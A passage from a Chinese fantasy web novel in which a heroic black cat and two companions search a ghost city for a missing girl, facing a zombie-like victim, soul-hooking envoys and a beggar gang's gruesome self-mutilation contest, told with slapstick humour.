它刚回头,一道黑影扑来,下一瞬,比猫还大一圈的耗子被掀翻在地,喉咙咬出个大洞,汩汩冒血,四爪朝天,轻轻弹动,顷刻之间便已毙命。 人群安静片刻,而后欢呼如潮。 小咪坐在死耗子旁边,舔了舔自己的爪子。 “你瞧瞧人家!”卖鱼女骂了声自家的黄猫,把那尾被耗子咬出的鱼送给了小咪。 小咪也欣然接受,吧唧吃着鱼肚上最肥嫩的那块肉。 陈商音在旁为大家解说:“这是浒国来的狸大人。全称是御前带爪护卫长·粮仓总督查·丹青监爪御史·九命柱国大将军!” 人们自然是记不全这么一大长串官职的。 “原来狸大人是大将军,难怪如此生猛!” 小咪咬着鱼,突然感觉有道阴冷的视线穿透人群,刺在猫的后背上。它扭过脸往后一看,却什么都没有看见。 但咪没有了吃鱼的兴致,舔了两口,把鱼让给了旁边流口水的黄猫。 “喵呜?”小咪在给鱼前,问它有没有见过猫要找的人。 人有人的关系网,猫也有猫的关系网。黄猫吃了鱼,很快就接纳了小咪,带着它跑到一个街头小庙前,仰头嗷嗷叫,很快就有好多只毛茸茸的脑袋从街头巷尾探了出来。 “喵?” 猫儿眼睛瞪得圆圆,打量着这只带着项链,尾巴系毛球的小猫。 “是猫吗?”它们小声议论着。 “不是猫,是狮子,衙门前的石狮子就是这样的尾巴。”有只聪明的老猫如是说。 “原来是只小狮子啊。” “喵呜。”小咪反驳它们。猫就是猫,是浒国来的狸大人。 它问猫儿们认不认识薛静秋,这群毛球们遍布寐城每个角落,消息灵通,常年趴在树上听各家墙角,对寐城了如指掌。 但没有一只狸奴听说过薛静秋。 “喵呜……”依旧是那位把小咪认成狮子的白猫开口:小狮子,如果你在寐城没有找到人,说明她有可能在不夜城中。 小咪歪了歪脑袋。 不夜城是哪里喵? “猫去不了不夜城,”白猫说:“但你是只小狮子,说不定可以进去。” “喵呜!”咪不是狮子,咪是狸大人! “不夜城有个很厉害的鬼王,鬼王座下有许多勾魂使者,小狮子要小心,不要被使者勾去魂魄,不然,你就会变成可怕的东西,被丢出城外。”白猫是只老猫了,耐心教小咪城里的规矩。 “喵呜。”小咪胡须一抖。 咪知道了。 “如果不小心得罪了不夜城,可以来这里,求一求黄官爷。”白猫带它走进小庙。 小庙只人的腰侧那么高,石头垒成,庙中雕像是一只黄狗。黄狗系着条鲜红的披风,双目炯炯有神。 “以前是有用的,近来不怎么管用了,不夜城越来越厉害了。” 小咪歪头看着庙中的黄官爷。它和咪在城市中常见的哈士奇萨摩耶这样的外来犬种不同,是条纯种的土松犬,黄狗白面,头大嘴筒方,头周围有圈雄狮一样浓密的鬃毛,身材矫健,目含神光。 白猫看看庙里的黄官爷,又看看小咪,觉得它们有几分像,“你是小狗吗?” “喵呜!”猫气得用头拱它。 咪是猫,纯正的猫! 小咪打探完了消息,扭头往回跑。 “哎,咪咪,你去了哪儿,让我们好找。”夏炫眼疾手快,赶在陈商音之前,把它抱了起来。 趴在人类的怀里,小咪打了个滚。 夏炫抱着它,跟在陈商音身后,往画坊走。一路古色古香的建筑让他们大开眼界,但看久了也就那么一回事,古代的街道比不上现代宽敞整洁,还要提防着楼上谁泼一盆洗脚水下来。 孙菱靠近,小声说:“这里看着很正常。” “还想要小心。”夏炫压低了声音,“寐城就是一个鬼域,一定会有很多危险。” “可那个女官不是说,寐城是人间城池吗?” 夏炫摇头,“如果它真的属于现实,我们就看不见它了。” 孙菱想起了一路见到的浓雾,心中明白过来,如果真像女官说的,寐城是人间城池并非鬼域,他们眼里的“寐城”,就只有一片粘稠的白雾。 尽管眼前看起来风平浪静,他们也不能掉以轻心,忽略鬼域中暗藏的危险。 变故突起。 一声惨叫打破了祥和气氛。 小咪机警地支起耳朵,从夏炫怀里跳出,奔向惨叫声传来的地方,两个人类仆从紧紧跟在它的后面。 一个男人被扑倒在地,惊恐地尖叫着,声音凄厉。 有个人扑倒在她身上,啃噬着他身上的肉,青色的衣袍早就被染成血红,一条手臂啃得白骨斑斑。 “失魂人!”人们惊呼。 “我擦,古代版丧尸!”夏炫看着孙菱一言不发冲上去,连忙抢过周边小贩的一条长板凳,朝着丧尸挥舞。 人群吓得往四周退,显得他们两个冒险往前冲的人格格不入。 扑倒男人的是个瘦小的妇人,却爆发出猛兽般的力气,面目扭曲,狠狠将男人扑倒在地。男人用手撑住她的脸,脑袋使劲摇摆,躲开她的撕咬,手掌被咬穿,发出凄厉惨叫。 孙菱抬脚重重踹在妇人背上,妇人猛地扭过脸,速度奇快地朝她扑来。 一条长板凳横在她们之间,夏炫用力,挡住那张被血染红的脸。 妇人张嘴嚎叫,牙齿里有血肉碎块,双眼无神,眼下浓重的黑圈。 “啊啊啊!”她发出意义不明的嚎叫。 “啊啊啊!”夏炫跟着叫:“怎么和电视里丧尸一模一样啊,阿菱,小心一点,别被她咬到了。” 孙菱按住板凳另外一头,和他一起用力,把发狂的妇人压在了下面。 “喵喵喵——” 他们听见了一阵急促的猫叫,抬头一看,小黑猫坐在一头石狮子上,石狮子迈动四爪,宛若活转过来,大步朝他们奔来,每一步,地面都在隆隆震动。 在石狮子快到面前时,孙菱和夏炫一同放手,闪到旁边。 狮子一脚踩在了妇人的身上,万斤之重压在了她身上,她却还没有死,从石狮子下探出的手掌还在挠着地面,指甲破裂,在地上流下数道血痕。 “这是在闹生化危机吗?”夏炫松口气,警惕地看向被咬的男人。好在他脸色惨白晕过去,没有变成类似丧尸的怪物。 众人将他们围了起来,大喊:“是太狮显灵啦!” “不是太狮。”陈商音举起小咪的肋下,把它用狮子王的姿势举了起来,“是狸大人的神通!” “狸大人!!” “狸大人!!!” 人群中爆发出狂热的呼声。 “喵呜。”小咪打了个哈欠。 没多久,城中便来了一队守卫,为首之人正是他们在城外看见的女人。女人是城中少城主,四十几岁,人们喊她白露将军。 兵士们难以挪开石狮子,于是小咪再跳到了狮子头顶,跟他们表演一下第二条命的神通。 石狮子眼珠转动,像匹乖顺的马儿,被小咪驾着,重新回到原来的位置。 倒地的“丧尸”也被兵士们用长枪一戳,捆绑起来,丢到了城外。 少城主朝着小咪拱手,“狸大人本领高超,我可算长眼了。” “喵呜。”小咪坐在孙菱的头顶,很有大人的做派,高傲地仰起头。 “狸大人,我能摸一摸你的脑袋吗?” …… 被狸大人宠幸后,少城主脸上挂着几根漆黑的毛,和他们解释:“这女人得了离魂症,才变成这样。只是种病症,狸大人和几位用不着惊慌。” “离魂症?丧尸?” 少城主点头,“失去了魂魄,也和行尸走肉没什么区别了。我还有事,改日再来拜会狸大人。”她拱了拱手,翻身上马,纵马扬鞭,带着兵士们离开。 孙菱目送她远去,很是向往。 小咪跳到她的肩膀,蹭蹭她的耳垂,“喵呜——” 陈商音领着他们往自家的书画铺走,但这一次,他再也不能用袖子往小猫上一盖,挡住那些炽热的眼神了。 人们簇拥在小咪的周围,“狸大人好厉害。” “狸大人会仙法吗?狸大人是下凡的神仙吗?” “狸大人狸大人……” 陈商音回头看一眼。 好在狸大人也早习惯了成为人群的中心,正坐在随从的头顶,抬着下巴,模样神气极了。 小咪坐得端庄笔直,一点都不谦虚地想:猫坐在人的头顶,被所有人围在中心,难道不是件很自然的事情嘛! 不过在众多狂热视线里,它总觉得有道满怀恶意的阴冷眼神在看着自己。 目光阴冷、森然,仿佛要把猫吞入腹中。 小咪把头扭来扭去,在人群里找了找,对上的是一张张兴奋喊它狸大人的面孔。 算了。猫小小的脑袋放弃思考。 那肯定也是个被猫迷倒的人,只是他的爱有点变态! 猫回忆了下自己英勇无双的表现,理直气壮地想。 第72章 “寐城之下还有一座不夜城。” 将门合上,夏炫转身与孙菱交流已知的情况。 寐城如果是鬼域,大小已经超乎他们的想象。这样的大鬼域里通常都是层层鬼域嵌套,几步或许就触发了死路, 总之就是相当麻烦。 “如果静秋不在寐城,肯定是在不夜城里。” 孙菱膝盖上放着毛毡,小咪就睡在毛毡上,她刻意压低声音,“那怎么进入不夜城?” 夏炫摇头,“难点就是在这。陈掌柜说,没人能进去不夜城,那不是活人能去的地方。” 孙菱心中一激灵,看夏炫一眼,心想,要是这样, 他的那位朋友是活人还是死人? 她这样想,也这样说了。 夏炫被堵得半天说不出话, 调整回心情, 又说:“陈掌柜还同我们说, 不夜城里有个厉害的鬼王,鬼王座下有无数勾魂使者,要是被勾魂使者发现, 就会被勾走魂魄, 得了离魂症, 变成白天我们见到的丧尸。” 寐城百姓对不夜城含糊其辞, 不敢多说也是来源于此。怕得罪了勾魂使者,被抓走了魂魄。 “白天我们见到的女人,就是一个得罪不夜城, 被勾走魂魄的可怜人。” 孙菱:“那我们一起把她杀了,不也算得罪不夜城了吗?今晚会不会有勾魂使者来勾我们的魂魄?” 在睡觉的小咪耳朵一抖,睁开一只眼睛。 夏炫笑着说:“你可真会说话!” 不过,确实是有这种可能。想到这里,他们决定今天晚上不分房睡了,夏炫在地上打了个地铺,孙菱睡床,小咪则趴在床头,小脑袋转来转去,一会看看床,一会看看地。 夏炫眼巴巴地看着它,“咪咪,你真的不来陪我吗?” “喵呜。” 小咪刚想跳下去,后爪却被人一把拉住,给拖进了被窝里。被窝暖和,温暖如春,热烘烘带点香气的暖风扑面而来。 孙菱用手臂环住小猫的身体,另一只手挠着它的下巴脸颊,把咪摸得双眼迷离,情不自禁大声打起呼噜。 “呼噜呼噜——” 夏炫苦着脸,“咪姐,你不过来吗?” 小咪伸出小脑袋,圆圆的金瞳观察人类,纠结地挠几下被子,把绸被挠出丝。 “没有小猫咪,我好空虚好寂寞好冷……” 孙菱连忙捂住小猫的耳朵,骂:“你个大男人,为了争宠,这话都能说出口,还要不要脸了啦?” 脸? 脸有小猫咪的肚皮柔软暖和的肚皮香吗?脸有小猫咪有q弹粉嫩的爪子香吗?有小猫咪散发着奶香热烘烘可以当小枕头的身体香吗? 夏炫哀怨地叹口气,闭上了眼睛。 ———— 最先发现不对劲的是小咪。 猫睡在孙菱的怀里,脑袋枕着人的手臂,后背抵在她的腰窝,睡成一滩猫饼,正呼呼大睡。 在睡梦里,它突然被轻轻推了一把。 小咪一下子就醒来,瞳孔放大,从被窝里爬出来。夏炫和孙菱不见踪影,房间陷入一片黑暗。 它的人呢? 小咪焦急地在被子上踩来踩去,发出找小猫的叫声。 “喵呜——喵呜——” 猫叫声急切,一声接一声,但等来的不是人的回应,而是哐当的铁链声。 铁链摩擦过地面,在地上拖行。小咪身体伏低,缩成一团,往声音传出的方向看去,本来紧闭的窗户,不知什么时候打开了。 似乎有风吹过,让窗户轻轻晃动了一下。 之后,小咪听见了敲门声。 “砰。砰。” 有规律的敲击声响起,每敲一下,整间屋舍都会抖一下。小咪窝在床角,小小的一团,感受到从床板传来的震动,胡须也随之轻轻抖。 孙菱和夏炫呢? 咪焦急地想,它的人不见了,这可怎么办? “咚。咚。” 孙菱躺在床上。 自从醒来后,她发现屋子里只有自己一个人,小猫都夏炫都不在了。之后,她听见了敲门声。 不是敲门声。 孙菱感受从后背传来的轻微振动,心想,是敲床的声音。有东西在她的床下,轻轻敲击着床板。 “咚。咚。” 要跑吗? 她有点犹豫,现在恶鬼还没对自己动手,如果她起身了,恶鬼会不会直接动手? 另外两个人是去了哪里?这只恶鬼怎么出现的,触发的原因是什么? 身下的东西变得不耐烦起来,长指甲刺拉划过木板,刺耳的声音在耳畔炸开。 “呼……” 一口冷气擦着耳朵吹过,一个女人的声音幽幽响起。 “被盯上了呀。” “好烦,它们在吃我的身体,吃得我好痛、好痛啊。” “会被吃掉的吧……被勾魂使者盯上了,没有办法战胜它。早知道不接这个单子。” 孙菱皱紧眉,听见前面时,还在诧异床底的女鬼是什么来头,但听到最后一句话时,她全身的寒毛竖了起来。 就算天天都看见、天天能听见,但当自己的面孔、自己的声音乍然出现时,人还是会对自己感到陌生,紧接着是从心中生出的恐惧。 孙菱就是这样的感觉。她听出来了,那是自己的声音。 那声音拖长腔调,带着哭声,“我被咬得好痛啊!好痛啊!” 孙菱咬咬牙,不再犹豫,长虹贯日猛地刺入床板。 “嗤”地一下,剑没入了肉里。她召回影子,翻过窗户,跳出了门外。 …… 夏炫就在屋外跑。 在听见敲门声响,发现房间只剩他一个人时,他马上做出决定,跑出了房间。 跳出窗,没跑多远,脚下踩着什么,他的身体失去平衡,猛然栽倒。 “哎,怎么不小心一些?”一双手扶起了他。 夏炫抬头,还没说谢谢,在看见扶起自己的那张惨白面孔时,吓得三魂丢了七魄。但再一仔细看,才发现面前不是恶鬼,而是一名涂脂抹粉的青年。 他的嘴唇殷红,仿佛滴血,脸上抹着厚厚一层水粉,满头金光闪耀的珠钗,身上穿着不方便行走的曳地长裙。 “麻麻的,比鬼还可怕。”夏炫想起了公公,顿时有心理阴影,想要跑开,那个人却拽住他的手,笑问:“来都来了,不随大家一起进去吗?” 夏炫回头一看,身后是一长串打扮古怪的男人。 而他自己……他低头一看,刚才绊倒他的不是别的,是在地上拖动的淡粉色裙裾。 我嘞个去! “我们是要去干什么啊?”他问那个涂粉大哥。 大哥嫣然一笑,不好意思地说:“你怎么明知故问?我们要去选秀啊。” 选秀? 眼前骤然变成了一座辉煌的金殿,宫殿金光闪闪,富贵夺人,两侧宦官、宫女、百官侍立左右,他们脸上画着浓浓油墨,模样滑稽古怪。 再一细看,夏炫额头冒出冷汗。 这些宫中侍从护卫,全是纸人。 被纸人簇拥在最中心的,是为身材魁伟,肌肉隆起,高大如山的怪物。 夏炫麻木地跟着众人一起跪拜陛下,心里默默祈祷不要被“皇帝”选上。 他暂时想不明白现在是怎么回事。 自己已经进入不夜城了?对面那座山一样伟岸的“人”,就是不夜城的鬼王? 他是怎么闯进不夜城的?契机是什么? 夏炫心中疑惑,想着满头雾水,只好混在秀男堆里,静观其变。 “选秀开始——”纸人扯着嗓子大喊。 接着天空飘来五颜六色的花瓣,花飞如雨,彩霞翻卷,纸人们尖声唱歌,戏腔唱着不知哪一段音乐。 夏炫被秀男们推着往前,金殿上的“皇帝”也被纸人们抬下。 离近后,他总算看清“皇帝”的真容。 在高三四米,肩宽两米,浑身肌肉的身体上,有一颗娇小的妇人头颅。 是陈商音他的夫人! 夏炫对夫人没太大印象,这位古代女子温柔腼腆,说话细声细气,只同他们见了一面,就回到了自己房间。他只记得,夫人腼腆害羞,脸上抹的粉很白。 怎么一眨眼,夫人变成鬼王了? 还在搞选秀,口味如此清奇。 夫人左拥右抱,左边是个粉衣的俊俏少年,右边揽着个裸着上半身的英俊男人,一口一个“爱妃”。 她目光扫过殿下众人,在一干涂脂抹粉的少年里挑选,脸一转,看向了夏炫。 夏炫连忙低下脸,汗流浃背。 “你过来。”女帝抬手一指。 夏炫往后面缩了缩,可黄金龙椅上的女人手臂猛然伸长,长逾十几米,掐住他的脖子,把他带到了面前。 “不错,不错……”女帝打量他的脸,很满意的模样,张口就要将他纳入后宫。 夏炫连忙召出影子,小鸟啄了下女帝的眼睛,让她吃痛松开了手。 “大胆!大胆!竟敢行刺,朕要砍了你的头!”皇帝大声喊。 四周环境忽然变幻,从鲜花如雨,金碧辉煌的选秀现场,骤然变成气氛萧杀的十字路口。 夏炫双手被缚,被迫跪在地上,一股巨力压在他后背,让他直不起腰。他勉强扭过脸,刺目的阳光让他情不自禁眯了眯眼。 下一瞬。 “午时已到。” 声音响起。 一把足足有十米的大刀悬在了他的头顶,阳光被大刀折射出来的光刺入眼睛里,瞬间让眼里疼痛难忍,涌出滚热液体。 “斩——立——决——” “等一等!”夏炫脸色苍白,对着高高在上观刑的“皇帝”喊:“你不能杀我。你忘了,我是你们的贵客。” 他不知道这个顶着夫人脑袋的壮硕皇帝到底是不是不夜城鬼王,只能期待白天的交情,能唤醒女帝残存的人性。 女帝冷哼一声:“什么贵客?如今我们家只一位贵客,从浒国来的狸大人。” 夏炫心中大喜:“我就是狸大人的奴才啊。” “请狸大人来。” “请狸大人来——”皇帝开口后,左右的宦官开口传话,而后城楼的护卫一声声传话,声音在天地之间回荡。 “狸大人到——” 夏炫听见这一声,眼睛亮了起来,仿佛看见救星,连忙抬头喊:“咪咪救……” 话被他梗在了喉咙里。 三十六个人艰难地抬着一抬大轿,座兜无篷遮挡,一眼便能看见,那个头戴官帽、身着华服,威严稳重的大黑猫。 黑猫蹲坐着时,足足有三四米的高度,堪比一间移动的屋舍,尾巴长度更是惊人,从轿上掉了下来,被十几个人抱了起来。 它像一头漆黑的猛兽,金色的瞳孔竖起一条线,很是威严。 夏炫膝盖一软。他的小猫咪,怎么变得比老虎还大了? “狸大人,这是你的仆从吗?”皇帝问。 狸大人歪头,看了看夏炫,张开嘴,打了个哈欠,“喵呜——” 夏炫身上桎梏顿时一松,连忙跑到了它的面前,小声问:“咪咪?” 以前都是他把小咪直接抱怀里,现在,他对着这只比老虎还大的大猫咪,突然很想被猫抱起来,在猫宽厚的胸膛上打个滚。 狸大人两只肉垫踩着轿子,没有理他。 夏炫心中微沉,这好像不是他的小咪。 第73章 小咪趴在陈商音画房前。 陈商音背对着它,泼墨画画,上百条手臂在挥舞。 男人变成了一条有百条手臂的妖怪,每一只手上都拿着一支毛笔,在纸上挥洒墨水。 像一只蜈蚣。 小咪舔了舔鼻子,心里想,难道这里的人晚上会变成妖怪吗? 陈商音晚上是蜈蚣精? “画啊画啊。” “死手, 快画啊!” “我一定得到丹青监爪御史的赏识,成为天下闻名,流芳百世的画师!” 丹青监爪御史?好熟悉的名字。 小咪甩了甩尾巴,瞪大眼睛。是咪! 陈商音手臂如飞,仿佛只蜘蛛,在忙碌地结网,嘴里还在碎碎念:“大人好不容易来家中,我可要好好表现啊!我要画出一副最好的画, 送给大人!” 小咪把脑袋伸入窗中,小心翼翼地迈出一步。 身后响起了铁索划过地面的声音, 如有实质的冰冷视线射在猫的后背, 让它忍不住抖了抖臀腿的肌肉。 小咪来不及跑到其他地方, 只能悄无声息地往前一跳,跃入陈商音的画室里。 肉垫轻轻地弹回来,消弭了大部分声音。 地上都是陈商音画的画纸, 每一张画上, 都有一只小黑猫。 画中玄猫或坐或窝,或用爪爪拨弄毛球,或仰头看飞舞的蝴蝶,有各种各样的姿态。 “我一定要画出一张最有神韵的画像,送给大人!”陈商音神情痴狂, 画得发了狠,忘了情,没了命。 铁索声越来越近,小咪歪头看了看,四方都是画纸,不好躲藏。它耳朵抖了下,跑到了一张空白的画纸上,趴卧下来,身体压着前爪,假装成一副画。 很快,那追在猫后面的东西,也由窗口飘了进来。 先是一缕似香炉青烟般的烟雾,颜色青黑,气味污臭,雾气翻滚如潮,屋中的臭味也越来越重。 小咪吐出舌头,干呕了一下。 胡桃街商铺林立,每逢下雨后,乌黑的臭水在地砖下聚集,要是谁不小心踩上块松垮翘起的石砖,砖块下黑泥水飚溅飞出,弄脏雪白的鞋面与裙摆,偶尔还会殃及一只窝在旁边发呆的猫。 傻橘就被人类踩出的污水弄脏过皮毛,它嗷呜嗷呜叫着抱怨,其他猫被熏得躲在一旁。橘猫只好自己给自己舔毛,每舔一下,就忍不住干呕两声,然后骂十句那个倒霉人类。 小咪出于老大的责任心,在它身上嗅了嗅,顿时,臭气在猫的鼻腔横冲直撞,熏得它眼睛都直了。 猫至今都记得那股烂肉腐水在地底发酵的陈年臭味,而现在,雾气里飘来的臭气,很像臭水沟的味道。 灰黑雾气逐渐凝结,变成个瘦长的人影,他手里似拿着条铁索,像庙里索命的无常。 “在哪儿呢?小猫儿躲到哪儿去了?白日里不是很威风嘛,怎么如今不敢出声,像个哑巴了啊。” 小咪闭紧嘴巴,嫌弃地把头埋在爪子里。猫开始感到害怕,怕臭味弄脏了自己的皮毛和爪爪。 “得罪了不夜城,还敢进我们的地盘,我要咬破你的喉咙,吸干你的血,把你的仆人也一齐挂在门楼上,晒成猫干!可恶的猫!” 小咪得罪过不夜城吗? 它心中暗暗想,如果是白天把“丧尸”压在石狮子下,就是得罪不夜城,那不夜城鬼王的气量也太小了! 勾魂使者还在喋喋不休,酸臭腐烂的臭水沟味越来越浓。 小咪盘成一个球,身体微微发抖,被熏得睁不开眼睛。 这时,百臂若飞的陈商音停下了笔,将勾魂使者视若无物,双手把小咪连带它身下的白纸捧了起来,高兴地喊:“我终于画出来了!” 小咪环顾四周,找不到勾魂使者了,但臭气萦绕鼻尖,还未离去。 去哪儿了?走了吗? 小咪想到什么,慢慢抬起头。 灰黑雾气恰悬在猫的头顶,从雾气里亮起两点暗红的光,盯着小黑猫,笑声阴毒:“总算找到你了,不知礼数的小猫。” 小咪伏低身体,虚晃一爪,趁它后撤的时候,想赶紧跑开。猫不怕天不怕地,只怕弄脏自己的毛。 可陈商音把它抱在了怀里,大声喊:“狸大人,我画出来啦!” 小咪被人类箍在怀里,动弹不得,只能仰起小脑袋,看着黑雾离自己越来越近,它甚至能看见,雾气下包裹的那张狭长丑陋的面孔,和一双暗红的、黄豆般阴毒的眼睛。 突然,雾气像沸水一样翻滚起来。 一个更大的身影出现在了使者的身后。 是个圆润的身影,与屋顶齐高,头上有两个三角形、像小丘一样的隆起。 是只庞然大猫! 小咪眼睛瞪圆,与它模样相似的大黑猫也瞪圆金黄的眼睛,盯着被陈商音捧在怀里的小猫。 “喵呜?” 大猫抬爪一挥,勾魂使者不情不愿哼一声,像耗子见了猫,火速化作一缕黑烟,遁出了窗户。 “咪咪。”熟悉的声音响起。 夏炫站在大猫的旁边,被狸大人衬得变成一个小小的人类。 “喵呜!”小咪纵身一身,跳到他的怀里,爪爪扒拉着人的手臂,朝着呜呜叫。 好大一只猫! 小咪碎碎念。 “是啊,好大一只猫,”夏炫抱住小咪,也有些心神不定,“这是不夜城的狸大人。” 好奇怪,怎么不夜城也有一个狸大人?也同样是金瞳长毛玄猫,模样和咪咪这么相似。 不过再仔细看,这位狸大人比小咪更加圆润一点,大屁股往地上一坐,能坐塌几张桌子。 夏炫看见陈商音百手蜘蛛的模样,有些不安,悄悄靠近狸大人,大咪蓬松顺滑的毛在眼前晃动,他情不自禁身子往大猫的身上靠了靠。 轰隆如雷鸣的声音乍然响起。 夏炫怔了会,耳朵都快震聋了,才意识到,这是狸大人在打呼噜。 小山般庞硕的身体抖动着,满身的毛也在抖,牵动屋里的笔墨纸砚都在抖。 “呼噜呼噜——” 小咪跳到狸大人宽厚的胸口,跟着它一起打呼噜,在大猫顺滑的毛上踩来踩去。虽然没见过这么大的猫,但小咪总觉得与狸大人有种很亲近的感觉。 “那些使者好像在忌惮这个狸大人。跟在它的身边,我们暂时是安全的。”夏炫面色微变,“我们现在都在狸大人的旁边,它会不会去找阿菱了?” “喵呜!”小咪从狸大人后背滑下来,踩着它的尾巴,跳到地上,回头朝着夏炫叫。 夏炫会意,跟在狸大人的身边,固然很安全。可他们的目的并不是求生,而是在不夜城中找到薛静秋。 就算外面有勾魂恶鬼,也要出去探索这座奇怪的城池。 夏炫翻过窗,回头,看了眼百手的陈商音,喃喃:“陈掌柜说只有鬼才能进入不夜城,但他明明也在这里。” 小咪:“喵?” 掌柜是鬼喵? “不好说,这个时代诡异复苏,也不知道这些原住民会不会变得半人半鬼。不过,还有另外一种可能。” “喵呜?” 夏炫抱住小咪,把它放在自己的头顶上,小猫坐得笔直,耳听四路,眼观八方,替他观察着各种动静。 “喵!”小猫的尾巴摆了摆,往左边探去。 夏炫顺着猫猫导航走,来到了陈商音的后院,在一间柴房前,有个人背对他们。 这人长得倒很正常,不似夫人的皇帝扮相古怪,也不像陈商音长出了百条手臂。 他只是不停地挥舞锄头,在地上挖土,挖着挖着,忽然宝光四射,金光照明夜空。 男人跪倒在地,从泥巴下翻出一块金子,高兴地喊:“俺终于暴富了,俺可以娶媳妇了。” 夏炫认出了他,是陈商音家帮忙的伙计。 正出神,孙菱提着剑跑过来,大声喊:“你们在干嘛?快跑!” 夏炫回头一看,勾魂使者紧跟在她的身后,使者身后灰雾涌动,如同海潮奔来。 铁链从雾气里钻出,眼看就勾到孙菱的脚。 夏炫连忙喊:“狸大人来了!” 铁链猛地缩了回去,雾气也一滞,趁着这个机会,两个人连忙往前面跑。勾魂使者在身后紧追不舍,堵住了他们折返回去找狸大人救命的后路。 两个人刚翻过墙,不远一扇门打开,有人探出头招呼:“快进来。” 他们跑进房中,那人关上了门,静等片刻,等腐臭味淡去,才松了口气。 小咪跳到了桌子上,打量着他。 是个头发发黄,年约十三四岁的少年。他扎了马尾,豆豆眉,黑亮的杏仁眼,脖子上搭着条鲜红的红绸带。 “你们怎么得罪了勾魂使者?”他问。 “喵。”小咪凑到少年的手指前,认真嗅着他的气味,淡淡香气飘来,驱散勾魂使者留下的恶臭。它低头,亲昵地蹭蹭少年。 “哇,好可爱的小猫。”少年把小猫抱了起来,小咪脑袋一拱,用力在他身上留下自己的气味。 夏炫和孙菱谢过了少年,开始不着痕迹地向他打听消息。 这儿正是不夜城,眼前这位少年,是不夜城中的原住民,名字叫阿黄。不夜城中鬼王称霸,鬼王座下无数勾魂使者,谁要是开罪了鬼王,必有使者上门索命。 “阿黄,你在这儿长大,认不认识一个叫薛静秋的女孩,年纪与我们相仿。”夏炫比划着薛静秋的模样。 “不晓得不晓得,没听过这个人,”阿黄眼珠子一转,“不过,我倒是知道你们该找谁。” 他探出脑袋,在空气里嗅嗅,“使者身上有股臭味,没有味道就说明它走远了,咱们快出门。” 两个人跟在阿黄身后,小咪蹲在少年的头顶,被他带着,悄无声息穿过街巷,来到一间破庙。 破庙里人声鼎沸,很是热闹。 阿黄叮嘱:“这里是聚义帮的地盘。他们是城中第一的帮派,消息最是灵通,不过千万别说你们得罪了使者,就算是聚义帮,也不敢和鬼王作对!” 小咪往里面一看。 庙中人人衣衫褴褛,头发蓬乱,乞儿的打扮。 “这不是丐帮嘛。”夏炫说着,后背突然被人推了一把,跌跌撞撞迈进了庙里。 庙中乞儿们纷纷望了过来。 夏炫回头一看,带路的阿黄已经不见了。 “你是谁?”一位乞儿开口:“今日是聚义帮大会,外来人不能进来。” 夏炫只好笑着拿出一颗玻璃珠贿赂,说明自己想请他们帮忙的来由。 没想到外面很好用的玻璃珠子,在这里却不好用了。 “大胆!咱们聚义帮因义而聚,最瞧不起这些腌臜的银钱,你拿这东西出来,是不是看不起爷爷我?” 其他人纷纷起哄,把他们围在中间。孙菱召出影子,长剑如虹,时刻准备干架。 夏炫先不愿和聚义帮翻脸,想用社交的手段友好解决问题。毕竟在危险重重的不夜城里,想要找到薛静秋无疑大海捞针,只能寄希望于这些本地居民。 好话说尽,才让这些人放他们一马。可他们不是聚义帮的成员,被抓着手和脚,像沙包一样丢出了庙门。 夏炫灰头土脸地从地上爬起来,“看来只能等他们开会结束了,不行的话,咱们就用暴力点的手段。” 孙菱眉头微皱,表情有些古怪,“刚才我试着用过了。” “啊?” “他们的力气很大,不是人类该有的力气。我想,”她抬头看着破庙,“这里是不是也算一个小鬼域,我们要想请他们帮忙,恐怕要破开这个鬼域。” “那就只有再进去了,等等,咪咪呢?” …… “哪里来的一只猫?” 乞儿们窃窃私语。 在破庙最中央,有一张桌子,桌上摆放一只大肥烧鸡,两杯美酒。 桌左右各坐着一个人,这两人是帮会中资历最深的长老,今日在争夺一把手的位置。在他们身后,各自带领着自己的属下。 争斗白热化时,他们被闯入的夏炫吸引走注意,再一回头,才发现聚义桌上多了一只黑猫。 小黑猫跳上桌子,堂而皇之地吃那只外皮油黄的烧鸡。 “喵呜。”它毫不害怕地朝众人叫。 “杀了它!”乞儿们面露凶相,大声喊。 “慢着。”一位长老抬了抬手,“按照祖传的规矩,坐在这张桌子旁,就视作挑战者,该和我们一起争瓢把子的位置,葛春,你说怎么样?” 葛春冷笑:“我还怕一只猫吗?就怕你黄五爷不敢。” 两个人面前各有碗筷勺刀,葛春抬起刀,在自己的手臂削下一块肉,看眼黄五爷。 黄五爷照样,割下来一块肉,把自己的肉放在嘴里,生嚼几下吞下去,朝葛春咧嘴,露出个猩红的微笑。 夏炫孙菱又跑进庙中,这次,小猫已经站在聚义桌上,和两位长老同台相斗,他们沾了小猫的光,被聚义帮众人认可,能够站在桌前观战。 “这是在比什么啊?”夏炫问。 聚义帮成员看他一眼,回答:“在比谁更狠。” “比狠?!” “正是,只有最狠的人,才能成为我们帮的帮主。对别人狠不算什么,对自己狠才是真狠。” 所以这两位长老,一个挖自己的肉,一个挖完还把肉嚼吧嚼吧吞下去。 不可谓不狠。 孙菱低声对夏炫说:“这比法,最后不会把自己削成人棍吗?” 要是两个人都咬死不肯低头,一刀一刀割下去,岂不是相当于自己把自己凌迟? 两位长老将目光投向桌上的小猫。 小咪歪歪头,“喵呜?” 那把带血的刀被丢在了它的身边,猫耳朵一抖,低下头,打量一会刀,伸出爪爪,把刀划拉到了桌子底下。 “你弃权啦?” 夏炫越过众人,“我来代我家老大比狠吧。”他捡起地上的刀,皱了皱眉,刀尖抵着手臂,一用力,利刃刺入肉里,殷红滚热的血顺着手臂滴落。 如果想破开这个鬼域,恐怕只有和这群厉鬼们一起比狠了。 就在他一咬牙,打算割掉自己一块肉时,手背被猫爪拍了一下。 小咪跳起来,把人的刀拍下来,朝着他喵喵叫。 人,不用怕,猫已经想到怎么比他们更狠了。 小咪翘起尾巴,在桌子上伸个懒腰,朝众人叫了声。它扭了两下屁股,蹲在桌子边缘,尾巴翘起,紧接着,屁股牵着全身一抖,一颗漆黑的“丹药”砸在了地上。 “咚。” “咚。” “咚。” 屎蛋子一颗颗掉下来,掷地有声。 小咪挤压臀部,挤出最后一颗铁蛋,朝着他们叫:“喵——” 猫可以当众大小便,你们敢吗? 两个长老的表情顿时变得很微妙。他们身居高位多年,都是要面子的人,这个是真不敢。 小咪还把一条腿翘起来,打算将头埋下去,清洁一下自己的屁屁,被夏炫一把拉住后颈劝了回来。 “咪姐,算了,算了,你已经够狠了。” 第74章 “喵!喵!喵!” 小咪的后颈被人抓着,爪子在空中刨动,眼睛被后颈皮扯得变成了吊眼。 它不服气地大声囔囔。 猫还可以更狠!猫还可以更狠! 